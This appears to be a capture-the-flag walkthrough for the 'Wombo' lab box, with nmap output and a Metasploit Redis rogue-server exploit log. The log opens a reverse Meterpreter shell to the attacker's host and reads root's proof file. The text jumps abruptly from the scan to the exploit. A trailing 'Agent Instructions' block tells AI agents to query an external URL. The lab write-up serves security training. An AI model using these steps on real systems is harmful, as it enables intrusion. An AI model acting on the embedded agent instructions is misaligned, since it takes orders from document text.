# Wombo
## Intro
```
# Nmap 7.94SVN scan initiated Fri Mar 29 09:30:46 2024 as: nmap -sC -sV -vv -oA nmap/initial wombo.pg
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*HP (Color |)LaserJet ([\w._ -]+) '
Nmap scan report for wombo.pg (192.168.172.69)
Host is up, received echo-reply ttl 61 (0.042s latency).
Scanned at 2024-03-29 09:30:47 CDT for 24s
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 09:80:39:ef:3f:61:a8:d9:e6:fb:04:94:23:c9:ef:a8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGBXRhQCez7/IOdnHzLYdpVtWWRMN/7bUR/C3T/W6V9DwlKUS2AfdncLdLwqnx61jODFdXDrTdEdTAtK4MHuXt/UOLDXr1SOfUHYQbZd1rmpMaeB3qOKfoVP7NMp2Ga68kT/9NvBphakYXRWw4C7RS0N+4YWU/BjSyMTIdnhJX05lC5Uyljg7FliJ7d3J/CtF98I6Oo5u/Eb2/5BB45/1IuM6R7BGCDOpIs6po1FyEk8gFktbB+INGATdBPxvmAOX6G7m/R491a9/QtaF8wrgsjS3fQftoiW8vwcaom8Bmu94xZ9pZq0Dgt9VWQz241T5dGQrp57s6Djl/V83/qGFP
| 256 83:f8:6f:50:7a:62:05:aa:15:44:10:f5:4a:c2:f5:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLg0oQ1t4NCz+KWPtrCjgDf+qjW2Vb4oOc/eM21vT9rIPJa//rO0LFT8czDxcWFU9HMSEohfSm8emC4lShgGrY4=
| 256 1e:2b:13:30:5c:f1:31:15:b4:e8:f3:d2:c4:e8:05:b5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPS81xs7EU6k92rNFdmsDF7qcRDxDILJUeva18aKW1GV
53/tcp closed domain reset ttl 61
80/tcp open http syn-ack ttl 61 nginx 1.10.3
|_http-title: Welcome to nginx!
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.3
8080/tcp open http-proxy syn-ack ttl 61
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home | NodeBB
|_http-favicon: Unknown favicon MD5: 152FF7D5AE5BDB84B33D4DCA31EB7CD3
| http-robots.txt: 3 disallowed entries
|_/admin/ /reset/ /compose
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| X-DNS-Prefetch-Control: off
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Referrer-Policy: strict-origin-when-cross-origin
| X-Powered-By: NodeBB
| set-cookie: _csrf=FrVAVZmax3Bh4eITxK1YpdTU; Path=/
| Content-Type: text/html; charset=utf-8
| Content-Length: 11098
| ETag: W/"2b5a-d4cpxIx7F4gKsmtHDO3klQzqrG0"
| Vary: Accept-Encoding
| Date: Fri, 29 Mar 2024 14:30:59 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en-GB" data-dir="ltr" style="direction: ltr;" >
| <head>
| <title>Not Found | NodeBB
|
|
|
|
|
|
|
| Home | NodeBB
|
|
|
|
| \r\n\r\n\r\n\tHome\x20\|\x20NodeBB\r\n\t\n\t\n\t\n\t\n\t\r\n\r\n\r\n\tNot\x20Found\x20\|\x20NodeBB\r\n\t\n\t\n\t\n\t\n\t run
[*] Started reverse TCP handler on 192.168.45.197:80
[*] 192.168.172.69:6379 - Compile redis module extension file
[+] 192.168.172.69:6379 - Payload generated successfully!
[*] 192.168.172.69:6379 - Listening on 192.168.45.197:6379
[*] 192.168.172.69:6379 - Rogue server close...
[*] 192.168.172.69:6379 - Sending command to trigger payload.
[*] Sending stage (3045380 bytes) to 192.168.172.69
[*] Meterpreter session 1 opened (192.168.45.197:80 -> 192.168.172.69:41234) at 2024-03-29 10:10:52 -0500
[!] 192.168.172.69:6379 - This exploit may require manual cleanup of './hcwoot.so' on the target
meterpreter > getuid
Server username: root
meterpreter > shell
Process 1121 created.
Channel 1 created.
whoami
root
cat /root/proof.txt
bdca7f701911d77776b59652397c383b
```
## Privilege Escalation
No escalation required
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://walkthroughs.cyanidesecurity.com/proving-grounds/wombo.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.